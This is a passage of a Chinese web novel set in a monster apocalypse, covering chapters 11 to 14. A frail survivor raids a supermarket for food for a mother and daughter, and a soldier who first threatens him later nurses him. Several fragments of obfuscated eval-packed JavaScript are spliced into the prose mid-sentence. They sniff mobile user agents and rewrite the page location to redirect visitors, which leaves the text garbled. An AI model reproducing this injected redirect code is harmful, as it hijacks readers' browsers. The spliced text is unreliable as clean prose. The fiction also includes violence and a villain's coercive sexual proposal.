l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520990|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这个字眼用在这句话里非常奇怪,但是女人没有深究,江玄灵的身上有种非常独特的气质,贵气又温柔,让人有种距离感,却又下意识会产生依赖感和信任。 女人的戒备心放下,摇摇头:“这是我老公买的房子,专门用来度假的,我们大概一个月会来一次吧。” 她提到自己老公的时候神色有些冷淡,那是一种刻意的回避,江玄灵默默看在眼里,原本怀疑家里的男人是不是在末世中出了意外,现在看来似乎不是。 “前不久我独自带着女儿来这里散心,没想到住了两天事情就开始不对,植物开始攻击人,还有动物……”女人现在提起来还有些心有余悸:“这里有十几户人吧,变故开始之后被怪物杀死了一部分。一开始物业还在用大喇叭广播安抚情绪,固定在某个地点放一些物资,但是从昨天开始就没动静了。之前我还看见有人全副武装地去社区超市,但是去了就没有再回来。” “家里的食物越来越少,这已经是最后三个小面包了。”女人苦笑,“昨天我本来打算去豁出去去社区超市找点吃的,没想到刚开门就被怪物闯了进来,我只能带着女儿躲进一楼的房间里,还好你出手相助,真的非常感谢,如果没有你……” 江玄灵轻声说:“运气好而已。如果没有我,你也会保护好你的女儿。” 女人的眼圈有些发红,感激地看了江玄灵一眼,再次把煎得刚刚好的鸡蛋和面包往他面前推:“吃点东西吧,烧了一晚上,肯定需要补充体力的。” 末世里人心不古。女人没有说,她还看到有人去别人的家里抢食物,手起刀落血喷了满床帘,那么凶残而冷血,只为了果腹。 她们孤儿寡母完全没有自保的能力,如果情况继续恶化下去,用不了多久她和女儿就会沦落到一样的境地。 说实话昨天女人也没看见那两个怪物是怎么死的,眼前的男人看上去不像强壮的样子,但昨天他愿意出手相救,起码能说明他是善意的,如今她只能赌一把,把希望寄托在江玄灵身上,所以她也尽力释放出最大的善意,甚至刻意卖惨博得同情。 “哥哥哥哥!”小姑娘从楼上跑下来,手里拿着两个娃娃,把其中一个男娃娃展示给江玄灵,“你看这个王子像不像你。” 俊美的玩具王子恰巧有一头紫色的头发,江玄灵接过来看了看,肯定地说:“挺像的。” “那我就是被王子保护的公主。”末世的危机感丝毫没有影响到小姑娘,她依旧天真烂漫,开心地坐到了餐桌旁。 江玄灵拿起一旁的餐刀,把盘子里的煎鸡蛋一分为三:“帮助是互相的,我昨天救了你们,你们照顾突发疾病的我,这已经扯平了。”他把切好鸡蛋分别放到小女孩和女人面前的盘子里,“现在是我在你们家借宿,应该是我欠你们。” 女人脸颊有些发烫:“这……这……” 救命之情和照顾疾病怎么相抵?她知道自己的心思已经被江玄灵完全看透,他这是在默许她的不情之请,决定帮助她们。 “怪物晚上的时候没有白天活跃,”江玄灵咬了一口小面包,“今晚我想想办法,看能不能搞点吃的回来。” 11. 抓到了 人到中老年就是有点力不从心,住在A3栋的老葛今天鼓足勇气开门,冲到院子里摘了三根自己之前种的黄瓜,险些被变异植物缠住手脚拖走,拼了命才跌跌撞撞扑回家里,腰还闪了。 “还是别出门了,家里不是还有两袋方便面吗,省着点吃,没准过两天国家就派人来救咱们了。”老伴心疼地给他腰上擦着红花油。 “别想了,要来早来了,前几天的时候你忘了收音机里还说呢,城里也乱了,现在所有人都自顾不暇,只能自己救自己……哎呦轻点。” 老葛疼的直抽冷气,只觉得前路渺茫,忽的他神色一变,按住老伴:“先等会儿!”然后弯着腰快步走到窗边,掀起窗帘一个角。 他果然没听错,A1那边有动静。 漆黑的夜幕中,一辆Smart轿车从A1的车库冲出来,开到稍远的地方,从车上踹下来两个沉重的东西。 几乎是同时,周围树木晃动起来,四面八方传来了各种怪物疾奔而来的声音,Smart一脚油离开了现场,开回车库快速关上了院子的大门。 无数的怪物扑向那两包东西,疯狂地啃咬起来。 “是尸体。”老葛心中一惊,暗道什么时候A1的那对母女怎么可能杀死了这么两只庞然大物,然而紧接着他就看着一个男人从A1的后门潜入了夜色中。 A1家来了男人!这人胆子真大,这是用尸体吸引怪物们的注意力,要去社区超市! 要去超市必然要经过老葛家,老葛眼看那人到了自己的窗侧。 这人胆大心细能力又强,老葛迅速下了判断,不顾老伴担忧的阻拦,拉开了窗户一角:“小兄弟!” 男人的脚步微微一顿,夜色太深,老葛只能看清男人月色下依稀的侧脸轮廓鼻梁高挺。 “能不能帮我带点食物回来,我给你钱!” “钱一文不值。” “那汽油呢。”老葛见对方不好骗立刻说,“你的那辆摩托,还有那辆Smart都需要汽油吧,我有!五天的食物换一升汽油,行不行?” “你一共有多少升?”男人似乎来了兴趣。 老葛警惕一笑:“那要看你带回来多少东西。” 男人:“两天换一升。” 好你个狮子大开口,老葛咬牙:“汽油是最有用的东西,总有一天这里会待不下去,到时候肯定要开车离开,汽油就是退路和活路,三天换一升最少……” “两天。”男人没有一句废话。 老葛差点心肌梗,然而男人并没有松口的意思,如果饿死,谈什么退路和活路,老葛知道自己其实是处于下风的,眼看谈不成男人就要走,老葛一狠心:“行!两天就两天!” “成交。” 话音未落,男人已经消失在了夜色中。 “靠!小子年纪不大口气不小!”老葛关上窗户直心疼,老伴安慰他,“咱们有没有车,汽油留着也是浪费,管他能换多少吃的,能换就是好的。” “哼。”老葛嘟囔,“万一回不来全都白扯,到现在我还没看到有能活着从超市回来的。” 江玄灵此时已经到了社区超市的后墙附近,他把两个金色小球在掌心里掐碎,温热的力量随即流入他的身体。 果然,比昨天的小花小草要强许多。 江玄灵深吸一口气,运转体内的能量,腹中果然再次传来刺痛。他闭了闭眼,径直推开了超市的玻璃大门。 “有人进去了!”超市旁边的B2栋里,几个人围在窗边,头挤着头往超市张望。 “几个人?” “就他一个。” “那不是找死吗?那里面至少有十几只怪物!” 其中一个四十来岁的男人从窗边退下来,无趣地摆手:“不看了不看了,反正也是一个死。” 他一走,立刻有人窥探着他的眼色也退了下来,还剩几个忍不住想看热闹的还留在窗边,然而超市里一片漆黑,什么都看不见。 过了十多分钟,里面没什么动静,还在窗边的人也失望地摇了摇头。 八成是死透了。 谁都知道超市里有食物,但是那里从末世一开始就被怪物占领,从来没有人从里面活着出来过……卧槽! 窗边的人震惊地瞪大了眼睛,玻璃门被人推开,刚才的男人从里面走出来,身后还拉着一辆装满食物的购物车,堆得几乎冒尖,上面各种食物都有,方便面、饼干、八宝粥…… 男人的步履比进去之前要慢一些,不知道是累了还是受了伤,左手似乎抵在小腹的位置。 “领导!他他他活着出来了!”窗边的男生说话都结巴了。 那四十来岁的男人原本在沙发中央闭目养神,闻言猛的跳起来推开男生冲到窗边,只见男人已经拉着小推车走到了街角处,眼看就要拐走了。 领导一巴掌拍在刚才男生的脑袋上:“快去追啊!找他要点吃的!” “啊?人家不会给我们吧。” “是不是傻!你不会和他换啊!”领导吐沫都喷了出来,恨不得抽他,指着屋子里站在角落的几个女生,“我们这里有女人,他想玩几次都行!” 这话一出所有人都震惊了,屋里无人发声,领导回头扫视着屋子里的众人:“怎么?谁有意见?” “陈总,你是不是太过分了。”一个短发女生颤抖着说,“这是犯罪!” “犯罪?”陈总哈地笑了出来,“现在是非常时期,杀人都没事,等到末世结束这些罪名都会一笔勾销不作数。再说只是让你们出卖个身体而已,末世里每个人都得发挥最大的价值,就像是在公司里一样,有价值的人才会升职加薪,现在你们能有换取食物的价值,应该感到庆幸!小林你还愣着干什么!快去啊!” 那个叫小林的男生脸色铁青,纠结得面部肌肉都在扭曲。 面前的男人是他们嘉美医疗器械公司的总经理,董事长的亲弟,几天前公司组织优秀员工来空谷幽兰度假区团建,他原本开心的要命,他努力了五年才成为优秀员工,终于有了和公司高层近距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520991|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接触的机会,决定一定要在领导面前好好表现,却不曾想居然到了如此境地。 军队随时可能解决怪物,社会或许很快会恢复正常秩序,到时候回到公司,他此时此刻的表现就决定了他未来的前程。 “我去!领导我去!”一个高个子男生挤开他冲下二楼,然而刚一开门就被一只守在门外的变异蟋蟀一口咬掉了脑袋。 鲜血喷溅,尖叫声四起,屋内的人拼了命地关上门,等到一切尘埃落定再去看那拖着购物车的男人,早就消失在了夜色中。 咚咚咚。 在床上闭目养神的老葛忽的听到有人敲窗户的声音,他一下子惊醒冲到窗边,一拉开窗户,就看到刚才的男人站在那,身后是一辆购物推车。 “食物拿到了,”他似乎轻微有些气喘,“汽油呢?” 老葛惊诧得几乎不会说话了,好几秒钟才反应过来:“有有有!小琴!帮我拿汽油来!” 一桶五升汽油桶从窗户递出去,等价的食物送了上来。 老葛几乎老泪纵横,终于再次看到了活下去的希望。 江玄灵扶着购物车转身,他刚才给对方的食物其实超过约定,只要保证母女俩的食物充足,多余的他不介意多给出去一些。 “哎小伙子等等!”正要走,忽听到窗口老头叫他,江玄灵回头,老头塞给他一包纱布和云南白药,“这些你拿着,看不清你受了什么伤,但万一能用上呢。” 江玄灵顿了顿,接过来:“多谢。” 之所以选择夜幕出行,其实和怪物的活力并没有关系,只是夜色可以更好地隐藏他杀死怪物的动作。 这一路来回,江玄灵大概心里有了数,普通人活下来的几率只有20%,除了超市里的怪物,路上的怪物也不少。 他花费了比预计更多的力量,吸收的小球勉强持平,然而此时腹中正在一阵阵地绞痛,千疮百孔的能力源头用疼痛警告他不能再使用能力了,否则后果不堪设想。 江玄灵走得越来越慢,眼看就要到了A1的后院,小腹里的绞痛却逼得他不得不停下。 他松开购物车捂住肚子弯下腰,肚子里像是有无数的蛇在啃咬,内脏一阵阵痉挛。 手指紧攥成拳压入小腹,江玄灵的脸上毫无血色,呼吸都变得沉重,根本无法直起身子,只得向后踉跄两步靠在了A1后院的建筑外墙上。 休息一下,就一下。 江玄灵仰头靠在墙上微微喘息,强忍着疼痛闭上眼。 应该很快会好些的。 一旁的草丛里似乎有些异常,第六感让他睁开眼侧头看去,风轻轻吹过,月色下那里什么都没有。 疼出幻觉了吗? 江玄灵重新后仰闭上眼,然而下一秒他猛的睁眼起身,危险来得太快,那东西瞬间就到了他面前,他甚至没有来得及做出反应,就被一只大手猛的掐住喉咙,砰的一声重重按在了墙上。 吴罪的眼底闪动着野兽捕猎成功般的光,死死卡着他的脖子:“在这藏着呢?” 12. 内疚 江玄灵被砰地一声按在了墙上。 “嗯!”一声闷哼猝不及防地溢了出来。 剧痛瞬间劈过全身,重撞之下江玄灵原本就剧痛的腹中脏器仿佛被震碎了一样,脸色瞬间苍白,眉头痛苦地拧紧。 “同样的把戏还想玩几遍?”吴罪看着他那张男版西施一样的脸就来气,这家伙这招用的真是炉火纯青,装柔弱简直是影帝级别的,手上愈发用力,“当初把我留在那等死,就该做好会被找上门的觉悟。” 江玄灵眼前一阵阵发黑,哑声说:“……你不会死的。” 吴罪怒极反笑:“你说对了,老子没那么容易死,你就不一定了。” 他猛的松开江玄灵,江玄灵立刻弯腰大口大口地喘息,下一秒一把尖锐的军刀抵在了他的小腹上。 “在我把你开膛破肚之前,你有十秒可以回答我的问题,”吴罪撑在他耳侧的墙上,他在发狠的时候脸上的表情却还在笑,无论是手臂上的肌肉还是气场都透出十足的压迫感,握着刀的手微微用力,刀尖在江玄灵白色的卫衣上压出一个坑,几乎穿透那层薄薄的布料,“我再问你一遍,你到底是什么人?” 江玄灵咬紧牙关,身子微微颤抖:“实验室研究员。” 吴罪眯起眼睛冷笑:“一天不见居然还染了个紫毛,你不如说你是参加的选美的我还更相信一些。说实话!” 刀子忽的调转方向,刀柄对准江玄灵的腹部用力一顶。 “唔!”江玄灵双膝一软差点跪下去,吴罪一把捞住他的胳膊把他架起来,恶狠狠在他耳边威胁道,“我没时间陪你玩,别耗尽我的耐心。” 江玄灵几乎无法抬头:“我真的……是研究员,我的上级单位是xxx,我的领导是韩沐,我的编号是……” 江玄灵报出一连串的名字和编号,都是吴罪熟悉的名字,编号方式也是正确的。 吴罪原本也就是为了再次核实他的身份,现在基本确认了八成。 “你们负责的项目内容是什么?车里运送的是什么东西。”他又问。 “……都说了是机密,”江玄灵全凭吴罪的支撑才保持着站立的姿势,虚弱得连声音都在发颤,“你就算杀了我,我也不能告诉你。” 吴罪掐住他的脸抬起来:“现在有原则了,抢我车的时候怎么没见你这么有道德感?” 月色洒在江玄灵身上,他穿了一件松松垮垮的白色上衣,在刚才的挣动中被扯得有些凌乱,领口处依稀露出了一截漂亮的锁骨,吴罪甚至依稀在他眼角看到了星星点点的水光,像是生理眼泪,眼神有点倔强,又有点愤怒,但更多的是脆弱。 那样子实在是太让人怜惜了,换作任何其他人只怕都要受不了,然而吴罪却立刻想起了自己前不久被同样的美色迷惑惨痛的经历。 如果他不是特种兵,早就死在路上了! “你半夜鬼鬼祟祟地在这干什么?“吴罪不会在同样的石头上拌倒两次,眸色冰冷。 他早就看到了一旁购物车上的汽油桶,这家伙绝对图谋不轨。 吴罪厉声质问:“如果我没来,你是不是打算再去诈骗这栋房子里的母女,烧她们的房子,抢他们的物资?” 江玄灵颤抖着,一个字都说不出来。 吴罪冷笑一声。虽然他很有用,但是吴罪不介意让他受点苦头,像他这种骗子,在末世里不知道会祸害多少人! “妈妈,大哥哥怎么还不回来?” 吴罪忽的顿住,透过一层的窗户,他听到有小姑娘的声音传了出来,带着担忧。 女人轻声安抚:“没事的宝贝,我们的救命恩人一定会有神明保佑的。” “可是他之前就受了伤,还要为了我们去外面找食物,外面那么黑那么危险,他会不会……”小姑娘有些哽咽,“我们不会害了他吧!” 吴罪的眼睛震惊地睁大,猛然转头再次看向那辆购物推车,这次他终于就着月色看清了汽油桶下压着的东西,那是满满的食物。 原来他半夜出行是为了这个。在这种危机四伏的深夜,一个人孤身涉险,只是为了帮助孤儿寡母获取食物。 江玄灵的面容毫无血色,声音越来越弱:“所以你对我,要杀还是要剐呢?” 下一秒他整个人都软了下来,向前倒了下去,吴罪一把扶住他,一摸之下才发现他的整个后背都被冷汗打透了。 原来他不是装的,是真疼! 咚咚咚!! 母女两人在客厅里焦急的等待,忽的听到外面有人敲门。 女人几乎是立刻跳了起来冲过去拉开门,门开了却发现外面站着的不是江玄灵,而是一个高大强悍的男人。 女人瞬间冷汗就下来了,她太心急,居然忘了江玄灵告诉她的敲门暗号,然而紧接着他就看到了男人怀里抱着的人——绝美的容颜苍白如纸,躺在男人怀里一动不动。 “大哥哥!”小女孩也飞奔过来,看到江玄灵的样子立刻嚎啕大哭了出来,“大哥哥死了!” “他没死。”吴罪大步迈了进来,“人暂时昏迷了,他的房间是哪个?” 女人挡在小女孩面前警惕地质问:“你是谁?” 如果此时有人能摸一下吴罪的耳根子就会发现烫的要命,一直红到了后脖颈,但他面上依旧是面不改色:“我是他朋友。” “H国人民解放军特种部队中尉吴罪。我和江玄灵之前失散了,我刚才在外面遇到了他,他受了点伤需要休息,”吴罪示意自己身后,“外面有他带回来的食物,劳烦你把它拉进来。” 他又补充了一句:“快一点,一会儿怪物要闯进来了。” 吴罪的军人身份给了女人信任感,再加上他能报出江玄灵的名字,应该是真的认识。 上一次被怪物闯进来有多可怕女人还心有余悸,她立刻冲到门口准备把食物拎进来后关门,结果就惊呆了。 她本以为江玄灵说的弄点吃的回来无非是几袋面包之类的,没想到居然是整整一购物车! 女人眨了好几次眼睛才确认自己没看错,吴罪已经抱着江玄灵噔噔噔上了二楼。 二楼一共有两间房,他进了近的那间,把人轻轻放到了床上。 江玄灵的脸如同被水洗过的白瓷,双眼紧闭着,呼吸很不平稳,即便在昏迷中也微微蹙着眉,吴罪在床边蹲下,低头看着他苍白的脸,心里说不出来的内疚。 忽的身后传来声音,女人出现在了房间门口,轻声问:“他伤得重不重?” 从她的小腿旁边探出来一个小脑袋。 能看得出母女俩对江玄灵是真的很关心,把食物拎进来之后甚至无暇细看。 “刚才在回来的路上我已经检查了一遍他的身体,没有明显外伤,脉搏也正常,只是不知道他为什么肚子疼。”吴罪站起来,“应该问题不大,你们去休息吧,我照顾他就行。” 女人犹豫了一下:“好,那我们先走了。” 房门关上,吴罪深深吸了一口气,顿了顿,他起身脱掉江玄灵的鞋子,又帮他盖上被子。 忽的,门被毫无预兆地推开,女人端进来两杯水,对他笑了笑:“喝点水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520992|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴罪给江玄灵盖被子的手还没收回来,有些尴尬地点点头:“谢谢。” “那我先走了。”女人退出去,门又关了。 卧室里是有洗手间的,吴罪去洗手间打湿了条毛巾又回来,忽的门又被推开,小姑娘小跑进来递给他一个袋饼干:“给你吃。” 吴罪接过来:“……谢谢。” 小姑娘偷偷看了床上的江玄灵一眼,又小辫子一颠一颠地跑出去了。 大概只过了两分钟,门口又传来窸窸窣窣的声音,正在给江玄灵擦汗的吴罪叹了口气,站起来。 门外,女人弯腰正和小姑娘密谋着什么,忽的房间门被拉开。 吴罪单手叉腰无奈地站在门口:“我不会对他不利的,我如果想要做什么就不会送他回来,早在路上就下手了。” 被看破了心思,女人和小姑娘对视一眼,都有些尴尬。 “不过我确实需要一些帮助,”与其让母女俩再隔两分钟就来检查一次江玄灵是否安全,不如直接告诉她们自己的意图,吴罪问,“家里有没有暖宝宝或者热水袋?” 末世里居然还有水电,也算是个小奇迹。 女人很快灌好了热水袋交给吴罪,又给了吴罪几袋肠胃药。 “如果需要什么叫我就行,我叫褚玥。”女人又担心地往房间里张望了一眼,她不看见江玄灵就不放心,但她也知道吴罪说的是对的,“我和跳跳在隔壁房间。” “放心吧。”吴罪长了一张很英俊的脸,大多数时间这张脸上都写满了桀骜不驯和刺头,让人很有距离感,但他一旦收起那些东西,与生俱来的沉稳气场就会显现出来,让人莫名信服,这大概也是为什么他能在部队里有那么高威信的原因。 吴罪说:“我会照顾好他的。” 重新关上门,这一次房间里终于安静了。 吴罪重新坐回床边。 江玄灵长长的睫毛像是两把小扇子,微微翕动着,吴罪轻咳一声,弯腰凑到江玄灵耳边说:“我承认,是我看错你了。” 江玄灵没有反应。 离得近了,吴罪更觉得江玄灵精致得像个假人,没见到他之前,他都不相信真有人能长这样。 怎么还不醒? 吴罪把手放在了江玄灵小腹上,冰凉的触感隔着衣服传来,几乎能摸到腹中的微微抽动痉挛。 这得有多疼? 吴罪皱了皱眉,立刻把热水袋拿来:“之前还说第一次见不合适,不让我看,这下可不是我故意要看,是为了你好。” 他掀起江玄灵的衣服下摆,刚要把热水袋捂上去却顿住了—— 他看见一个形状奇异的纹身,就在江玄灵的肚脐正下方小腹的位置。 深紫色的线条印在江玄灵极白的皮肤上,那图案像是一朵花,两侧蔓延出蜿蜒的枝条,不是大众常见款式,中间的花勾勒得一气呵成,不繁复却无比灵动,甚至像是大师工艺,有种高贵典雅的感觉,随着他的呼吸,就像是在他的小腹绽放一样。 兰花吗? 吴罪对花的品种一无所知,对绘画更是一窍不通,却也觉得那图案非常漂亮且高级。 只是在他的印象里,江玄灵是个温文尔雅的人,虽然有点狡猾,但就算是抢他车的时候说的也是“征用一下你的交通工具”,甚至有点文绉绉的,这样一个人又染发又纹身,总让吴罪觉得有点割裂。 这么一联想就有点入了神,吴罪发愣间手腕忽的被一只冰冷的手啪的抓住,抬头就对上了一双深黑的眼睛,江玄灵虚弱地质问他:“你干什么呢?” 13.示弱 吴罪内心坦荡,但他一只手拎着江玄灵的衣服下摆,刚才还目不转睛地盯着人家肚子看了半天,怎么看怎么像变态,一卡壳又显得更做贼心虚。 还没想好怎么解释,江玄灵却先撑不住了,松开吴罪的手腕按住了自己的小腹。 肚子里像是有活物在撕扯,江玄灵痛得弓起身子侧向一边:“呃……” 在房间里的小台灯照射下,他俊美的脸毫无血色,按在腹部的手用力到几乎陷入进去,衣服清晰地勒出了腰背部的线条,甚至往上扯了一点,露出了两个若隐若现的腰窝。 吴罪自己都没有意识到自己吞咽了一下,然后他猛然回过神,立刻蹲下来:“很疼吗?你躺平我帮你揉揉。” 江玄灵趴在床边捂着肚子,疼得声音都在抖,却毫不犹豫地婉拒了:“不了……我怕你再下黑手,再怼我一下我命都没了。” 吴罪啧啧:“你说你这个人,怎么这么记仇呢。” 江玄灵忍着疼喘息着回头看他,看样子很想说些什么,然而忽的他的神情变得痛苦,不受控制地弓起身子低下头,吴罪甚至听到他小声叫了出来:“啊……” 吴罪脸色一变立刻上前,只见江玄灵按在腹部的手已经变成了攥拳,正死死地往小腹里顶。 “别那么用力!”吴罪一把抓住他的拳头,低声安抚,“深呼吸。” 只有疼得不行了才会用这种接近自残的方式以痛治痛,吴罪眉心皱紧,用了极大的力道才把江玄灵的拳头从腹部拉开一点距离。 江玄灵咬牙咬得侧颊都紧绷成了锋利的线,鼻尖上都是冷汗,疼痛是一阵阵的,大概过了一分钟之后,他手上才一点点卸了力,趴倒下去在床边喘息。 吴罪的心情很复杂,刚认识的时候他就在肚子疼,一直到现在……这样的身体状况还敢出去搞食物?也不知道是胆子太大,还是太无畏。 看着他稍微缓过来一点,吴罪扶住他的肩膀帮他翻过身躺平:“你看着瘦劲儿还挺大,平时是不是偷偷健身撸铁?” 江玄灵浑身都湿透了,疲惫地歪头看他:“你能不能出去……” 吴罪:“我去哪?一共就两间房。” “楼下还……” “我走了之后你要是出了什么事还得赖上我,”吴罪边说边脱鞋,居然直接上了床,“今晚我就委屈委屈和你一起睡吧。” 江玄灵:“……” 下一秒腹部忽的一热,吴罪把热水袋稳稳地放在了他肚子上:“温度正好,我试过了。” 温热一点点渗入冰凉的小腹,江玄灵按住热水袋,精疲力竭地闭上了眼睛。 吴罪用一只胳膊肘撑着身子,也在目光灼灼地看他:“你这到底是什么毛病?” “从小就这样。” “经常疼吗?” “……隔三差五吧。” 从侧面看他的睫毛真的很长,吴罪盯着他看了半天,总怀疑他鼻梁那么高会不会是假的,有点想上手捏捏,忍了忍还是克制住了:“你怎么想的,一个人大半夜去抢物资?” “那些东西晚上活力会减弱。”江玄灵捂着肚子叹了口气,侧头看向吴罪,“我又不像你那么厉害,能一个人单挑怪物。” 他长了一双极好看的眼睛,夸人的时候没有半点刻意,平淡又真诚,吴罪只觉得一股酥麻遍布了心脏,莫名地受用。 “我只能摸黑行动,能不能活着回来看命吧,毕竟这种事世道本来就是有一天没一天的……” 话音未落,又是一轮疼痛袭来,江玄灵猛的喘了口气,痛得蜷起双腿,吴罪这次早有准备,在他动的瞬间手已经伸了过去,抢在他之前按住了他的肚子:“你那种按法迟早胃肠出血,这种世道下没人救得了你。” 腹部被接触到的一瞬间江玄灵的身子猛地一颤,然而还没来得及阻止立刻又被疼痛逼出一声低吟:“呃……” 吴罪用掌根揉按起江玄灵的小腹,他的手掌非常大,揉下去的时候很有技巧,不至于很重却能恰到好处地舒缓内部的绞痛:“放松,我帮你。” 为了更好使力,他用另一只手把江玄灵整个圈在了怀里,江玄灵喘息着抬眼看向吴罪,眼神很复杂,吴罪被他看得耳朵发烫,莫名有点心虚:“干嘛?感动了?” 江玄灵抿了抿嘴,然而还没来得及说出什么,吴罪手上力道忽的微微加重,江玄灵的鼻腔里顿时溢出闷哼,痛的再次躬身低头,吴罪帮他揉着肚子,能够清晰地感受到他每一个呼吸的轻颤,看到他被汗水打湿的淡紫色鬓发和白皙的脖颈。 不知过了多久,江玄灵的呼吸终于平稳——腹中痉挛平息,他睡着了,毫无防备的靠在吴罪的怀里,手指还虚握着吴罪的手。 吴罪很轻地将他放平在枕头上,无声地下了床,来到了洗手间。 关上洗手间门,吴罪猛的呼出一口气,仰头靠在了门板上。 身体里翻涌的躁动几乎压制不住,吴罪冲到洗手池那用凉水猛的洗了几把脸,血管里脉搏怦怦跳动,浑身像是被火烧,难以言喻的欲/望呼之欲出,他闭上眼,脑海里挥之不去的都是江玄灵小腹皮肤细腻的触感。 他不是故意摸到的,是衣服在江玄灵的挣扎中被蹭了上去。 那皮肤柔滑得如同上好的玉,按下去的时候极其有弹性,带着汗水的微湿,有种……说不出来的感觉。 男人为什么会摸上去手感那么好? 到底怎么回事。 吴罪双手撑在洗手池边,困惑又焦躁地抹了一把脸。 末世的植物变异了,难道自己也变态了? 他怎么可能对一个男人有那种感觉? 吴罪闭上眼,深深呼吸。 …… 大概半小时后之后,洗手间里终于传来了冲水和水龙头打开的声音。 吴罪擦干净手,打开洗手间门,看见床上的江玄灵还在安稳地睡着。 吴罪盯了他好半天,才无声地走到床边,轻轻地拿走江玄灵旁边的枕头,在床边的地上躺下,闭上眼,就这么睡了过去。 - “吃早饭啦!” 第二天一大清早,跳跳就在楼下撒了欢:“今天的早饭有培根哎!” 不只有培根,还有面包和牛奶,简直回到了末世前的水平。 窗外艳阳高照,虫鸣鸟叫不绝于耳,不得不说这里社区的环境真的非常好,如果不是末世,大概会是非常热门的旅游度假地。 吴罪换了一件背心,在江玄灵身上穿着肯定显大的衣服,在他身上居然看着有点紧身,坐在桌边三两口就把早饭吃完了,看着小姑娘开心的样子也跟着笑:“多吃点,以后长高了我教你打怪兽。” 小姑娘的眼睛一下子亮了,扑过来:“真的吗!” “真的。”吴罪看了看她的小细胳膊,抬起手掌,“你打我一拳看看。” “嘿哈!”跳跳蓄力一拳打在吴罪掌心。 吴罪啊的一声捂住手,作势要倒地:“太厉害了,简直天赋异禀!” 跳跳兴奋得尖叫起来,吴罪笑着按住她的小脑袋:“小点声,你江玄灵哥哥还没 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“好什么好,这不是普通肠胃药,是褚玥她老公之前从J国带回来的高级药,补元气的,”吴罪不由分说地坐到床边,把药碗端起来,“身子虚就是欠调养,等到下次再疼你就老实了。” 浓重的药味飘入鼻腔,江玄灵的眉头都皱了起来。 吴罪觉得好笑:“怪物都不怕,怕吃药?” 江玄灵忽的抬眼看他:“我吃不吃药和你有什么关系,还有昨晚你为什么要在意我的死活?是内疚了吗?” 吴罪被他猝然发问问懵了,然而那只是一瞬间,他忽的露出一个有点凶狠的笑:“内疚?我为什么要内疚,你之前坑我是事实,我就算杀了你也不为过。现在这个世道看的是实力,谁强谁就有理。” 江玄灵一语不发。 “怕了?你应该怕。”吴罪靠近他,“你对我有用,我才暂时没对你做什么,你心里掂量掂量,以后有关你们任务的事我问你什么,你就该答什么,否则我杀你跟掐断一棵草没区别,还有楼下那对母女……” 他故意不说后半句,笑得很渗人。 然而江玄灵盯着他半晌,忽的笑了。 吴罪瞬间破防:“你笑什么?不信?” 江玄灵轻描淡写地推开他手上的药碗:“你要是真那么狠毒,昨天看见我的汽油桶,也就不会那么义愤填膺了。” 吴罪恼羞成怒:“末世里人心难测,什么都说不准。你可别把人想的太好,我要是真想干什么你能挡得住我?” “挡不住,”江玄灵很坦诚,“我体质那么弱,只能寄希望于你是个不计前嫌的大好人。” 吴罪时半刻居然不知道说什么好,感觉自己凶狠的攻击都打在了棉花上,吓不到江玄灵半点。 “不过你确实和一般的军人不太一样,”江玄灵看着吴罪的目光有几分探究,“你没有那么强的道德感,也没有军人普遍的严肃守纪,反倒有点……邪气。” 吴罪眼睁睁看着江玄灵掀开被子,有些虚弱地扶着床站起身:“借过,我要去洗个澡。” 电光石火之间,吴罪忽的意识到了什么,就在江玄灵绕过他打算走向浴室的时候,吴罪啪地拉住了他的手腕。 江玄灵猛的一怔。 “为了不喝药转移话题你真的很努力啊。”吴罪缓缓笑了,江玄灵微微吸了一口凉气。 下一秒吴罪一把将人拉进了怀里,江玄灵猝不及防,全身的重量都陷在吴罪的臂弯里,没来得及反抗药碗就贴近他的唇边灌了下去。 14.风筝 药味道很苦,江玄灵喝了一口就皱眉,吴罪立刻捏紧了碗:“忍一下,一口气喝光。” 他根本没给江玄灵挣扎的机会,碗边轻微上扬,液体顺流而下,江玄灵的眉头皱得更紧了,因为速度太快忍不住抬手抓住了吴罪的胳膊。 凸起的喉结一上一下,修长的脖颈上淋漓着汗水的微光,来不及吞咽的药水顺着嘴角流下。 喝药居然喝出了香艳的感觉,吴罪只觉得一股隐秘的火又在血液里翻腾,呼吸有点急促,心跳也不太稳。 不知过了多久药碗终于见底,江玄灵推开他,有些狼狈地俯身喘息。 “见识到什么叫没道德了吧。”吴罪放下药碗笑道,强压下心中躁动。 “好苦。”江玄灵擦了擦嘴角,皱紧眉头看向吴罪,眼神有点埋怨。 吴罪顿了一秒,忽然意识到他除了有点生气,居然还在下意识暗示自己想解决办法。 吴罪差点笑出声,从见江玄灵的第一眼他就觉得他身上有种贵气,此时此刻真是再次验证了——江玄灵习惯了被人照顾。 吴罪终于对他的身份有了比较确定的判断:这家伙八成是个大少爷,绝对是以前地位尊贵养尊处优的那种。 虽然之前江玄灵一直在有意无意地隐藏这一点,表现得一点都不矫情,甚至能独自一人半夜去找吃的,十分接地气,但从细枝末节处还是能看出端倪。 比如他的行为举止、说话方式…… 吴罪猜想他大概是某个重要领导的直系亲属,到基地当研究员体验生活的。 